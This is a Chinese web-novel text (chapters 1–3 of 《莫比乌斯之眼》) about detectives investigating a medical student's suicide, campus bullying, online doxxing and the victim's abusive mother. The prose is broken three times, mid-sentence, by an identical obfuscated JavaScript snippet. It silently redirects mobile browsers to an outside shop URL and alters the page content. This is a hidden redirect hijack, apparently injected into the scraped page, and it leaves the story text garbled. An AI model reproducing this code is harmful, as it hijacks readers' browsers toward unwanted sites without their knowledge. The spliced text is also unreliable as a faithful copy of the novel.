《莫比乌斯之眼》 1. 崔冕 “北城医学院有人跳楼自杀啦!” “什么情况?!” “昨天傍晚的事情,听说是为情自杀,可惜一个年纪轻轻的女高材生,居然这么想不开……” “不要胡说八道,案情没那么简单,官方到现在还没有说法!” 随着校园贴吧的热烈讨论,到社会闲散人员传播,事件进一步发酵,所有人都关注到北城医学院女研究生崔冕的跳楼自杀事件。社交软件在无数的猜测和阴谋论中,彻底被引爆,“崔冕”两个字成为近三天的热搜屠榜。 …… “什么情况,现在还没联系上崔冕的导师?”北城公安分局,刑侦支队的队长郝朔华,用力地薅着自己的头发,近三天没有休息,他已经眼皮打架,快要撑不住躺倒。 “学校那边的反馈,崔冕的导师三天前出差,刚好错过崔冕跳楼事件,他应该跟此事无关。”一个小刑警拿着收集到的消息,报告给队长。 “有没有关系,不是看资料,而是要证据!”郝朔华怒吼一声,察觉到周围同事的安静,他提着喝水壶,打开办公室门,“我去楼道抽根烟。” 大家看着他的眼光纷纷撤回,知道队长烦躁,都不敢这时候去触霉头。 实习生周进拿着资料进来,见老大不在,转身就想往楼道而去,老局长洪曙光抓住他的手臂,“小周,先不要着急,你跟我说说,你都查到些什么案情分析。” 周进是刚毕业进入分局的小年轻,还抱着对职场的热爱和对社会的奉献精神,听老局长要考教他的工作,他立即抬头挺胸,精神抖擞地回答:“我查到,崔冕的母亲刚从海市赶回来,正拿着血字横幅,要去北城医学院喊冤。” “啥?!” 老局长傻眼了:“这么重要的事情,你怎么现在才说!” “我这不是刚要说,就被您给拦住了么……”周进还想为自己辩解两句。 老局长一摆手,“都不重要,现在,赶紧去把郝朔华给我找回来,让他主持这次的议论发酵!” 果然,随着崔冕的母亲回北城,大张旗鼓地拿着横幅去学校喊冤,舆论的热点彻底引爆。 所有人都在猜测,学校到底背地里做下多少亏心事,才不敢在这件事情上面正向发声,而且也不敢公开监控视频,从种种迹象看来,学校分明在隐藏什么。 郝朔华半根烟的时间都没有,就被老局长抓回来,查看网上的舆论爆点。他看见网友们把学校和支队都列为过街老鼠,人人喊打,阴谋论他们联合起来隐藏真相,恨不得顺着网线爬过去,让那边“键指江山”的“懂王”,自己来支队感受两天,就知道他们的工作有多难做。 正好,在这个时候,崔冕的导师凤雏一主动联系分局,要求来说清楚情况。 郝朔华带着周进和另一个同事,共同接见凤雏一。凤雏一看起来年纪不大,像是在校大学生的样子,可看他的简历,他分明三十多岁,是国外高薪聘请回来的技术人才。 “凤老师,请仔细说一说,崔冕在校的表现。”郝朔华废话不多说,当即就对崔冕的人际关系展开调查。 凤雏一优雅地坐在询问室里,仿佛不在分局,而是在某国外的度假小岛,悠闲地喝着红酒,“我要说,我跟她不熟,你们信吗?” 凤雏一一看就不配合,他直视着郝朔华,见郝朔华长得浓眉大眼,十分端正的样子,还抛去媚眼。 郝朔华根本没接收到他的媚眼,皱眉看着纸上的资料,不耐地看着凤雏一,“据我所知,凤老师是北城医学院最受欢迎的导师?” 凤雏一两手一摊,耸肩表示:“没办法,我长得太俊美了,学生们都喜欢我。啊,太受欢迎了,也是种麻烦。” 郝朔华根本不会被他搅乱视线,他用硬笔点着纸上的某一点,眼神炯炯地质问凤雏一,“你和崔冕,经常在半夜,偷偷出校约会?” 凤雏一的脸色变得严肃,坐直身体:“都是子虚乌有的小道消息,我可没有和学生牵扯不清。” “你说的话不重要,事实证据最重要。”郝朔华将照片拍在他的面前,厉声喝问:“你还有什么要说的吗?” 凤雏一低头一看,是他凌晨一两点,接到崔冕的求救电话,和她出门办事的背影照片。虽然看起来很模糊,一看就是从监控视频里面截图出来,可不可否认,他那一头的卷发,还是轻易能认出就是本人。 “拍的很不错,关键是人长得帅。”凤雏一查看自己的照片,一一点评:“这张有点糊了,可以修图之后传给我。” 他在询问室里嬉皮笑脸,郝朔华气得胸膛起伏,拍桌而起:“严肃点!我们现在是依法对你进行传唤,如果你不据实以告,下一步就是申请拘留。” 凤雏一也脸色难看,双手交叉:“我说了,我跟她不熟,她两次向我求救,我帮了她一次,没想到这次她居然选择跳楼自杀。” 凤雏一的语气里有遗憾惋惜,郝朔华莫名相信,他说的是真话。可当继续追问,崔冕向凤雏一求救什么,凤雏一却缄默不言,仿佛对发生的事情失忆遗忘。 郝朔华从凤雏一嘴里问不出什么话,只能反复查看那几张照片。那是崔冕轻生前一晚,唯一接触的异性,后来就一直往返教学楼和寝室,与外人再也没有联系,手机里面也查探不出什么,最后一通电话是打给凤雏一的,如果凤雏一什么都不知道,不可能通话时间有一分钟。 凌晨五点,询问室里面的钟表又划过一刻,六点即将到来。 郝朔华和凤雏一相对而坐,两人像是熬鹰一样,就看谁先熬不住,谁先心理防线崩溃,就能从对方嘴里获取信息。 郝朔华眼睛红肿,眼皮耷拉,他快撑不住了,想让小周看着一下,他出去冲一个冷水澡。凤雏一忽然叫住他,指着相片上的一点,语气轻慢:“郝队长,你怎么不再去现场查看一下。” “什么意思?” 郝朔华回头看着凤雏一,立即精神集中,神情专注,他凑近凤雏一,想从那双多情的凤眸里面,查询到自己想要的信息,可凤雏一好像是蚌壳,撬开一点吐一点,多余的就再也不肯吐。 “周进,许晖,你们两跟我来。”郝朔华带着两个手下,迎着早上六点的日出,开车前往北城医学院。 早上的学校,行人比较少,除了几个早起背书迎接考试的同学,几乎看不到人影。郝朔华带着周进和许晖开车进校门,眼神往旁边扫一眼,看到一个头发花白的妇女,跪坐在学校门口,尽管过去一夜,她依然肩背挺直,手里举着“还我女儿性命,北城医学院草菅人命”的血字长幅。 郝朔华见惯生死,对这种白发人送黑发人的场景,还是头皮发麻。他心中感受到勘破案件的紧迫性,对24小时破案有一种由心底散发的自发性。 “老大,有学生在跟车。”许晖发现骑单车跟在后面的医学生,想把车开快一点,郝朔华却让他减速。 “郝警官,又来查崔冕的案件?”自来熟的男大学生给郝朔华丢进一包面包和一瓶水,笑嘻嘻开口:“你有话询问,我知无不言言无不尽。” 郝朔华咬一口面包,把剩下的分给同事,拧眉看着男大学生:“郝秀才,你又夜不归宿。” 郝修怒目瞪视郝朔华,言辞强调:“我叫郝修,不叫郝秀才,请你不要称呼我的曾用名。”郝修琢磨着再改一次名。 郝朔华点头:“好羞,我的大侄儿,你有什么案情提供,可以给你记大功。” “真的?”郝修立即被功劳引诱,对郝朔华的打趣视而不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495467|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,他指着一个安静角落,让许晖把车开过去,等车停稳后,一跃跳上警车,“我还真有话要说,但前提是,你们不要打搅我的女朋友。” 郝朔华递给他一个“有话快说有屁快放”的眼神,恨不得一脚把他踹下车门。 “是这样的,我女朋友跟崔冕是一间宿舍,她听到崔冕跳楼自杀,有一些话希望我转告给你。”郝修是郝朔华二叔家的孩子,今年也是北城医学院的研二学生,还兼任学生会长,对学校内的一些事情比较敏感。 崔冕跟郝修不是一个年级,但跟他女朋友住一间宿舍,女生之间难免有些八卦。 “崔冕住宿期间,和寝室内的同学关系都不好,她时常出入校门,和外校的社会人士关系比较好。”郝修把从女朋友那里听到的消息,转告给郝朔华,“崔冕喜欢她的导师凤雏一,但是凤老师不喜欢她,而她的校外男朋友又经常纠缠她,她就请求导师帮忙。” “怎么帮忙,假扮男朋友?”郝朔华没忍住插话,想象凤雏一假装自己学生的男朋友,他脑袋里冒出“衣冠禽兽”四个大字。 “也不是,具体也说不清,但崔冕每天给凤老师写情书,这在校内几乎是人人得知的事情,他们寝室里面,应该还能搜到证据,她的遗物都没人动过。” 郝修说到这里,语气难免萧瑟:“我女朋友虽然跟崔冕关系不好,但也从没有争端,知道崔冕跳楼自杀,她吓得夜夜做噩梦,这不我才在校外租房子,为了陪伴女朋友。” 郝朔华不想吃狗粮,踹郝修一脚:“说完了吗?说完就滚。” 郝修露出泫然欲泣的表情:“你这么绝情,居然对自己的亲侄子,一点不念旧情!”他唱念做打一番,在郝朔华濒临崩溃的时候,留下一句“爷爷叫你周末回家吃饭”,开车逃跑了。 郝朔华思考郝修提供的信息,许晖在一旁问:“老大,我们去现场,还是去寝室?” 郝朔华做出决定:“先去学校报道一下,联系寝室,查封502。” 学校方面对刑侦支队的工作相当配合,听说郝队长要查封502,虽然会引起轩然大波,但学校还是十分配合。 郝朔华带着许晖和周进,女寝宿管陪同,一起走进502宿舍。 宿舍是四人间,这在所有大学,算是条件比较好的研究生寝室。 早上六七点钟,即便是北城医学院,大部分学生都还没起床,郝朔华敲开寝室门的时候,里面两个住宿的女生都没起床,见到刑侦支队的人,开门的女生下意识想把门关上。 “晚静,北城人,家住顺城区鸿富锦苑8栋602室,父母经商,有一个弟弟读北城附小,与崔冕在生前发生过争吵,曾经放话要教训崔冕。”郝朔华一边拿出证件,一边一箩筐的话砸晕晚静,“你详细说一说,你和崔冕之间,有什么仇怨。” “我、我没有,是他们胡说!”晚静明显慌了神,对郝警官的提问口不择言:“她住宿以来,从来不打扫卫生,也不跟同学说话,阴沉沉一个人,整天不知道在忙什么坏事。我们只是说她两句,她就嚷嚷着要换寝室,到现在还不是没换!” 晚静坐在椅子上,面对警官的威压,她收起平时嚣张跋扈的样子,“安亚就被她吼过,这不,她一出事,安亚被吓得连夜搬寝,我也想搬出去住。” 安亚就是郝修的女朋友,现在住在校外,对她和崔冕之间的联系,郝朔华可以找郝修询问,其他两个女生和崔冕的关系,今天就要询问清楚。 一道帘子刷的拉开,靠窗的上铺,一道不耐烦地声音传来:“还让不让人睡觉了,大早上的吵什么吵!” 穿着清凉的女生探出头来,看见门口站着好几个人,立即偃旗息鼓,把外衣外裤穿上,这才规规矩矩地翻身下床。 2. 凤雏一 郝朔华坐在门口,面对两个战战兢兢地女生,他也不能拿出警队的冷酷,威逼利诱。他让寝室宿管守在门口,等到学生全部去上课,开着大门,对晚静和邱红依简单询问。 “你们和崔冕的关系怎么样?”周进做记录。 “一般。”邱红依说。 “不好。”晚静回答。 郝朔华看了邱红依一眼,让许晖对崔冕的遗物进行整理。崔冕虽然风评不好,但是自己的内务整理很好,她的床铺和书桌,一眼就能看出,什么东西归置在哪里。 许晖从文件夹里,拿出一沓粉红色的信件,邱红依和晚静一直关注着这边,看到情书,立即激动起来。 “我就说她不检点,和校外的人勾勾搭搭,又给凤老师写情书,简直不要脸!”晚静相当激动,仿佛自己的男朋友被撬了。 周进咬着笔杆子:“你也喜欢凤老师?” 晚静脸红:“喜欢凤老师怎么啦!学校那么多女生,99%都喜欢凤老师,多我一个不多。”说完,她又泄气地垂下头去。 邱红依眼睛随着许晖的动作转动,定睛在窗边的绿植上面,眼球不动了,“凤老师是所有人的梦中情导,我也争取过,但是失败了。” “所以你就对崔冕怀恨在心?”郝朔华走到绿植面前,察觉邱红依的紧张,他搬起绿植查看,“你和崔冕,应该不是大学才结怨,据我所知,你们是高中同学。” 邱红依一贯平常的眼眸里,露出些许怨毒,她瞪视郝朔华一眼,又低下头去,轻声慢语:“郝警官开玩笑了,我们女生之间,互相吃醋开玩笑,常有的事情,算不得什么。” “把人锁厕所里,逼人喝泔水,拍裸露视频,也算不得什么?”郝朔华每说一句话,火气就上涨一分。女生对女生之间的针对,永远都是这种见不得人的伎俩,而越是同性之间,越是知道如何折磨人。 “郝警官有证据吗?没有可不要乱说哦。”邱红依还有闲心对郝朔华露出微笑。 郝朔华把刚查到收的资料,摆在邱红依面前,看她还有什么狡辩。邱红依没想到高中时期对人的霸凌也被查清楚了,一时间缄默无言。 郝朔华出去一趟,像是拿什么证据,一会儿之后,他把照片也摆在邱红依面前,“你自己坦白,还是我们依法传唤。” 邱红依看到照片,彻底坐不住了,她声嘶力竭地吼道:“是她自找苦吃,她乖乖听话,不就什么事情都没有了!可她偏要跟我作对,不但考试分数比我高,还喜欢我喜欢的人,我让她出面澄清,她偏说她没做过,不澄清谣言。她那么清高有什么用,一个低保户出来的贱人,仗着分数高就能俯视我,我让她住一间宿舍,是怜悯她,怜悯她没有爸爸,所以活该被人欺辱!” 晚静看到桌子上的照片,震惊地瞪大眼睛,仿佛第一次认识邱红依,指着她说不出话,“你,你……” “看什么看,你也是贱人!让你捉弄崔冕,你偏说你不敢,平时嚣张跋扈,真要做坏事又缩手缩脚,没种!”邱红依彻底不装了,她被依法传唤,带去警局回话,而晚静在受到一番刺激之后,由老师出面安抚,暂时还住在502宿舍。 郝朔华带走崔冕的一部分遗物,要拿去警局化验,至于文件夹里面的情书,由许晖分类,作为证物也带走了。 周进翻看询问记录,总觉得哪里有问题,但一时又说不出来,他顶着一脸的墨迹,讨好地看向郝队:“队长,你说,邱红依和晚静说的都是真话吗?” 回程的路还是许晖开车,他把文件夹递给周进,意思让周进自己看看。周进一个没谈过恋爱的小白,哪敢翻看女大学生的情书,万一看到什么不好意思的内容,他岂不是丢大脸了。 许晖没好气地把文件夹戳他脸上,“让你找证据,你脸红耳赤什么。” 郝朔华递给周进纸巾:“擦脸。” 周进擦干净脸颊,这才拿过文件夹,细致地阅览,虽然女大学生的表白纯情又热辣,但他还是找出些许不对,“日期对不上。” 他边说,边翻开前后情书对比,“崔冕每日都要给凤老师写情书,几乎不间断,可6月15至6月17日这三天的情书,不见了。” 这三天刚巧是崔冕出事的前三天,如果猜测没错,这三封情书应该留下不少内幕。 “回到警局,审问邱红依,就知道那三封情书到哪儿去了。”郝朔华看着日头高挂,想到离开学校之前,他们又去了一趟现场。 崔冕跳楼的地方,是实验楼顶层,据知情人爆料,她那天做完实验,回学校食堂吃饭,再回来的时候,似乎收到一条短信,不知是谁发来的消息,刺激她爬上顶楼,就这么跳了下去。 郝朔华侦查现场的每一个角落,在垃圾桶的后面,发现一封被烧毁的情书,落款还是崔冕。当事人凤雏一还坐在询问室里,不知晓他跟崔冕的关系越扯越深。 或许,他是故意暴露和崔冕的关系? 郝朔华想着说话嘴欠的凤雏一,又想着崔冕睁大眼睛死不瞑目地躺在冰冷的地皮上,黑黝黝的眼珠子就这么瞪着人,他随着车辆的晃悠,短暂地睡眠一下,梦里全是这么多年未结的冤案死者,叫嚣怒吼地批斗他。 郝朔华从噩梦中醒来,分局已经到了,但是周进和许晖都没有下车。 他还奇怪,两个人抱着手机玩什么游戏,这么专注连工作都不做了,刚要发声,周进慌里慌张地把手机摁灭,看着他支支吾吾地说:“队、队长,局长让你到他的办公室。” 郝朔华一头雾水,一无所知地进到局长办公室,立即劈头盖脸地迎来怒骂。 “你们去北城医学院调查,怎么不低调行事,现在大家都知道,你们带走崔冕的同寝女生,所有人都在猜测,崔冕是不是不堪忍受校园暴力,所以才从实验楼跳下去。”洪曙光怒其不争,“上面要你们三天出报告,要是查不清真相,你的队长位置也别坐了。” 郝朔华大喊冤枉,但他对局长无法叫屈,只能去询问室逼供凤雏一。 “你到底对崔冕做了什么,她会在跟你通话之后,选择轻生?”郝朔华怒斥凤雏一,要不是周进拉着,他都想给言笑晏晏的凤雏一脸上两拳。 “郝队长,别这么激动嘛,难道这一趟外勤,没什么收获?”凤雏一疑惑地歪脑袋,“不可能啊,如果你们找到崔冕写给我的情书,那上面应该清清楚楚地说明白,我和她没关系。” 郝朔华话卡在嗓子眼。 崔冕的情书是找到了,但是关键的三封不见了,其他的都是对凤雏一真挚的表白,难道要他在表白字句中,一字一句地抠线索? 郝朔华指着凤雏一,差点没气到背过去。周进赶紧给他顺气,又是端茶,又是递水,凤雏一看着两人的互动,狭长的眸子里忽然闪过不悦。 “我也再给你一点提示,崔冕的男朋友。”他说完就开始闭目养神。 郝朔华晕乎乎的脑袋,又抓到一点线索,他立即放过凤雏一,简单吃两口午饭,去审问邱红依去了。 邱红依对崔冕做下的霸凌,供认不讳,就连别人不知道的细节,她都袒露了,似乎是真的吓破胆,想要坦白从宽。 可郝朔华看着她平静无波的眼眸,直觉没这么简单。 他让人监视502宿舍的暗线也有了回信,在他们走后,晚静冷静一会儿,似乎被老师安抚好了,状态正常的上课放学,还跟同学们约好去吃火锅。可晚上回宿舍的第一件事,她把灯关了,然后抱起窗边的绿植,下楼扔进垃圾桶。 暗线在垃圾桶找到纸条,是一个联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495468|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系地址。 郝朔华立即让人去查那个地址,这段期间,他来回审问凤雏一和邱红依,皆没有得到有用线索。 “北城医学院女生跳楼自杀,有新消息了!” “同寝女生霸凌,同学孤立,低保家庭,高考第一,男友抛弃,这是什么惊天地泣鬼神的逆天改命大女主剧本!” “听说霸凌她的女生,在高中就是小太妹,家里有几个钱,捐楼才能进北城医学院,和崔冕是同乡呢,老乡见老乡,背后插一刀!” “邱红依就不是人,她对崔冕做下的恶事,足够她退学进局子!” “严厉要求北城医学院,开除邱红依等人,给崔冕一个交代!” “给崔冕一个交代!” “给崔冕一个交代!” 网上都刷屏了,郝朔华打瞌睡的同时,还有闲心冲浪,在键盘手中寻找线索。 群众的眼睛是雪亮了,他一直觉得,有一只黑手隐藏在暗处,在对案情进行推进,如果真有这么一个人,那在僵局的案情下,势必有人给出他下一个线索。 半夜三经,在暗线传回消息的同时,网上也爆料一条消息,崔冕给校外男友怀孕,被迫打胎,找不到人帮助,便联系自己的导师。 这条消息随着暗线将详细地址的居住人信息发送过来,郝朔华看着憔悴的中年男人,目光在五官上游荡一圈,忽然浑身一震。 他们连夜开展对“楚瞳”这个男人的调查,等找到居住地址,早已人去楼空。 郝朔华握着楚瞳的照片,对这个曾经光耀警局的“北城之光”,产生一丝埋怨的情绪。 “砰!” 昏昏欲睡的邱红依被踢门的动作惊醒,她抬头看着目眦欲裂地郝朔华,忍不住往后面缩去。 “你认识崔冕的男朋友吗?”郝朔华压抑着情绪问:“那个男人长什么样子,在哪里工作,你知道他多少信息?” 邱红依吞吞吐吐,明显说不清楚,郝朔华爆裂地往前一步,差点抓住邱红依的衣领:“我让你回答我,楚瞳在哪里?他这些年到底在做什么?他为什么不回来?” 在长期的高压和折磨下,郝朔华明显已经精神崩溃,他看着邱红依,像是看一个死人,而不是一个青春靓丽的美少女,“梧桐街32号,楚瞳在那里生活多久?” “你怎么会知道梧桐街32号?”邱红依显然没有防备,被郝朔华套出话来,立即又三缄其口,“我不认识什么楚瞳,我也不知道梧桐街,你不要再问我了!我要见我的律师,我申请见律师!” 邱红依被吓破胆,大喊大叫要见私人律师。 郝朔华尽管被周进和许晖联手阻拦,依然哈哈大笑:“你以为你的小伎俩,能躲得过我的眼睛。你让晚静销毁证据,可在你们销毁之前,纸条就已经被我替换了。” 邱红依回忆白天的事情,发现郝朔华在搬动绿植之后,确实离开过她的视线,她立即抱胸躲在角落,对郝朔华的疯狂输出不理不睬。 郝朔华情绪崩溃,再加上上面的施压,老局长慎重考虑之后,决定将他调离这次的案情调查。 “我知道楚瞳是你的偶像,但是你不应该因为嫌疑人是他,就做出错误判断。”洪曙光拍着郝朔华的肩膀,语重心长:“楚瞳曾经是你的学长,也算是你半个老师,你对他有感情我能理解,但是案件不容许停滞,你先休息一下,崔冕的案子交给许晖吧。” 许晖是分局的副队长,郝朔华被撸官,许晖顶上是理所应当。 “我不走,我要亲手把楚瞳找出来。”郝朔华还在神神叨叨地说着,洪曙光见他眼睛下的青黑,让周进送郝朔华回家休息。 凤雏一的拘留时间也到了,两人同时出门,凤雏一看到郝朔华的狼狈,还大声吹口哨。 3. 朱英 邱红依被网暴,网上关于她的私人信息被公开,包括她初高中念什么学校,和谁是同桌,喜欢哪个男生,对班主任抢劫殴打,一切事情无所遁形。许多当事人站出来说话,指认邱红依种种恶迹,而随着邱红依父亲下场,热搜被撤下去,关于邱红依的讨伐,词条里面搜不到。 网友们神通广大,不能在网上公开批斗邱红依,就在群里、贴吧、论坛,一切可以继续这件事情热度的方式,都被网友们记录下来。 而因为邱红依犯错的年纪,科技发达,她的罪证都是高清□□,视频录像要多少有多少,她彻底逃不出网友的制裁。 麓山别墅。 一个头发花白的妇女,站在邱家的大门前,看着两头威风凛凛的石狮子,把手中的油漆泼上去。 “邱红依,还我女儿性命!”朱英拉开长幅,把血色的大字写在邱家的大门上。 保安出来阻拦她,被她躲过去,将鲜红的油漆倒进邱家花园。 “干什么干什么?”邱父刚出来说话,见到路人正举着手机拍摄,立即躲进门去,可他的身影还是清晰地被记录下来,“保安,保安!快把她给我拖走!” 邱父躲在门后,大喊大叫,邱母被吓得尖叫,自始至终没有露面。 朱英坐在地上哭:“我苦命的女儿!好不容易考取大学,谈了一个男朋友,却被邱红依搅黄!她不但要我女儿的男朋友,还要我女儿的性命!我可怜的冕冕啊,你生在什么人家不好,偏偏要生在我们低保户家里,爸妈没钱供你念大学,你长本事半工半读,还考上研究生,多争气啊!偏偏被邱红依害死!现在爸妈还是没本事给你讨回公道,你来世可别投胎在我们这样的人家,你投胎在邱副市长的家里,做大官的女儿,就没人敢欺辱了!” 行人都被她形容狼狈的一幕震撼,纷纷走上前安慰她,劝说她要好好活下去,一定要撑到给女儿讨回公道!朱英中年丧女,这是多么大的悲痛,可怜她的网友们立刻在网上掀起风暴,要彻查邱红依的父亲邱副市长到底如何草菅人命,为虎作伥! 随着一系列的深挖,邱父如何上位,如何当上副市长,都被披露。而他上位不正,资历和阅历都不够,还存在贪污枉法的严重问题,被撤职查办。 网友们对邱副市长的生平事迹大起底,才发现这个人早就在组织毒瘤中。关于邱父的落马,牵连出一群贪污枉法的人,网友们继续吃瓜,越扒越深,直到后来官方下场,这场闹剧才结束。 “邱副市长小学文凭!” “爆!邱副市长的岳母是XXX!” “邱副市长小时候做过混混,还QJ过妇女,摇身一变成为百姓热爱的好市长!” “当真是滑天下之大稽!活久见!” 网友们兴致不减,对这件事情的后续持续跟踪,而他们发现,邱副市长停职处罚之后,摇身一变带着岳母和媳妇出国定居去了,这件事情变得毫无新意。 分局因为网友的视线短暂集中在邱家和朱英身上,本来松缓一口气,可立马回旋镖,分局里面人仰马翻。 “谁在网上爆料!揭露崔冕的原生家庭!”洪曙光的脑门都快成一千瓦大灯泡了,油光滑亮,“把那个人揪出来!他一定是幕后黑手!” 所有人都在加班加点,查探及时爆料的“黑客”,而这人十分狡猾,IP都在境外,技术员根本抓不住。 郝朔华虽然已经被停职,但他还是每天上班,看着老局长着急上火的样子,他还有闲心到拎着肉包子到顶头上司跟前晃悠,咬一口肉包子,嘲笑一声领导的无能狂怒。 “郝朔华,你别嚣张!有你的好日子在后面!”洪曙光大吼一声,把郝朔华赶出去,自己在办公室骂人。 郝朔华走到许晖的电脑面前,看着密密麻麻的报告,他问:“有楚瞳的消息吗?” 许晖被吓一跳。自从郝朔华被薅官之后,他顶上队长的位置,才知道一把手要面临多么庞大的工作量。 “队长。”许晖原本茂密的头发,都变得稀稀落落,“没有楚瞳的消息。” “真的没有吗?”郝朔华利用许晖的电脑,在信息栏里一阵搜索,果然什么都没查到。他失望地直起身子,看着许晖耷拉的眼帘,把剩下一个肉包子递给许晖,“吃吧,别猝死了。” 周进从密密麻麻的资料里抬起头,看向这边,“队长,我的呢?” 郝朔华直翻白眼:“你年纪轻轻,再熬几个夜晚都没事,我跟老许老了,遭不住你们年轻人的内卷。” 周进想解释,外面传来喧哗,他只能起身出去看看。 许晖和郝朔华简单的沟通,把这段日子的案件进展做一个汇报。虽然原则上来说,郝朔华现在不能参与崔冕案件的调查,但是他最早跟踪崔冕的案件,又提出很多有用的建议和想法,他的帮助是实实在在的,老局长就睁一只眼闭一只眼。只要不恢复职位,郝朔华想打白工,也没人拦着。 “洪局的意思是,你不要参与楚瞳的案子。”许晖老老实实,把领导的任务交代下去。 “你们一起瞒着我,不会是楚瞳出事了吧?”郝朔华敏感的察觉,许晖像是在回避什么。 “我们没有……”许晖刚要摆手,周进推门进来。 “队长!”周进求救的眼神太明显,郝朔华想要看不到都不行。 “怎么了?”他一边走,一边拿过许晖的便签纸,后者见他顺手的动作太习惯,都来不及阻止,心里想着算了,反正队长也不会胡来。 “朱英,朱英她……”周进手舞足蹈,都不知道该如何表达,“朱英报警了!” “啥?”郝朔华都不明白,朱英作为受害者家属,她现在需要报什么警。可当他出去,看到朱英满头满脸的血,他都被这一幕吓一跳。 “警察同志,你可要为我做主啊!”朱英见到郝朔华,立即紧紧抓住她的手,丝毫不松,把这几天的遭遇都说清楚。 原来,自从邱家偃旗息鼓,邱父受到惩罚,全家搬去国外,网友们的视线从邱家回到朱英,才发现朱英也不是全部冤枉。网友们从崔冕的小时候扒起,把崔冕出生被丢到孤儿院,又被父亲捡回家,在父亲的独自照顾下,艰难长大的事情全都理清楚了。 这下,朱英遭殃了。 崔冕的妈妈,朱英女士,嫌弃女儿是女孩,不是男孩,无法继承崔家的香火,瞒着婆婆和老公,把女儿丢弃在孤儿院,想着再生一个男孩。 崔冕的爸爸怜惜女儿,不愿意丢弃女儿,就偷偷把女儿捡回来,顶住媳妇的压力,一直把女儿养到七八岁。本来崔冕早该上幼儿园,可朱英不让,所以崔冕爸爸想让女儿直接上小学,而朱英还是硬生生拖延两年,直到确定生不出男孩,才勉强让崔冕上小学。 崔冕读书之前,一直在帮家里干活,而崔冕不是动则打骂,就是经常威胁女儿要把她扔掉。崔冕的小时候过得十分辛苦,还好她上学努力,成绩名列前茅,朱英偶尔也因为有听话懂事的女儿,被邻居羡慕,被老师夸赞,放松对崔冕的剥削。 直到上高中,崔冕传出早恋,明显是被冤枉,可朱英还是勒令女儿在家,不许参加高考,以至于崔冕错过第一次高考。崔冕的爸爸用离婚威胁朱英,朱英才同意女儿复读,参加第二次高考。可她还是害怕女儿长大了,远走高飞,脱离她的掌控,所以当985大学的录取通知书寄到家里的时候,朱英瞒着丈夫和女儿,把通知书烧毁,以至于崔冕在本地念了一所普通大学。 崔冕的爸爸身体不好,给崔冕读大学存了一部分钱,他把这笔钱偷偷告诉女儿,让她瞒着母亲,去外地念研究生,别回家来。崔冕做到了,一口气考上名牌大学的研究生,还和一个男生谈起恋爱。可朱英像是阴魂不散,在崔冕爸爸去世之后,她屡次向女儿要钱,逼迫女儿和穷男朋友分手,跟有钱人在一起,早点结婚生小孩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495469|142115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就可以供养她。 崔冕十分痛苦,把一切无法诉说的心事都记录在笔记本上,原本这些事情无人得知,随着她离世,她的情书和她的笔记本被曝光,遗失的三页情书,有一页就是对原生家庭的控诉。 网友把这一部分少女难捱的情绪放大到网上,成功调转注意力,将批斗同寝女生霸凌崔冕的视线,集中汇聚到朱英身上。 “我也没想到,她会把家里的事情记录到笔记本上。”朱英十分后悔,怎么没有先把女儿的书本遗物全部烧掉,“我如果知道她对我怨气这么大,我也不会逼她这么深。” 朱英现在不知是真的忏悔,还是被网暴后害怕,想要求人放她一码。 郝朔华看着网友整理出来的资料,事件记录很完整,不是说谎,再加上朱英也承认了,崔冕小时候就是一个不被疼爱的女孩。她长大之后,依旧被周围人恶意对待。 他心中不知是一股什么情绪,觉得难以发泄,又觉得世事总是很无力,清官难断家务事。他突然很想回到过去,抱一抱那个满身伤痕的女孩,把她死不瞑目的眼睛轻轻抚上。 “我知道了,警局会安排人保护你。”作为死者的母亲,事件没有调查清楚之前,近亲也是嫌疑人,不能让人站在道德制高点肆意报复。 郝朔华想离开,被朱英死死抓住手,“郝警官,你要相信我,我真的没想把她逼死,她毕竟是我的女儿啊,从我肚子里爬出来的肉啊!我怎么会逼她去死!” “我真没想到她会那么痛苦,我怎么说也是她的亲妈,就算对她严格一点,那也是为她好,我只有她这一个亲人了,我怎么知道她会恨我,不是我的错,真的不是我的错……” “你先跟周警官下去休息吧。”郝朔华艰难地说出一句话,把朱英的喃喃自语抛到身后。他想去给崔冕送一束花。 走出殡仪馆的时候,郝朔华又遇到凤雏一,他像是也来看望崔冕,尽管崔冕只是一具冰冷的尸体。 “凤老师。”郝朔华走上前去打招呼,抽出根烟递过去,“来看望自己的学生?” “我不抽烟。”凤雏一谢绝郝朔华的黄鼠狼给鸡拜年,“我来给可怜人一个道别。” “道别?”郝朔华疑惑,嘴里叼着根烟也不点燃,“凤老师又要出差了?” “这次是出国深造,不回来了。”凤雏一双手插兜,眼睛深邃地看向天空,“也许再见面的时候,我们就成为敌人了。” 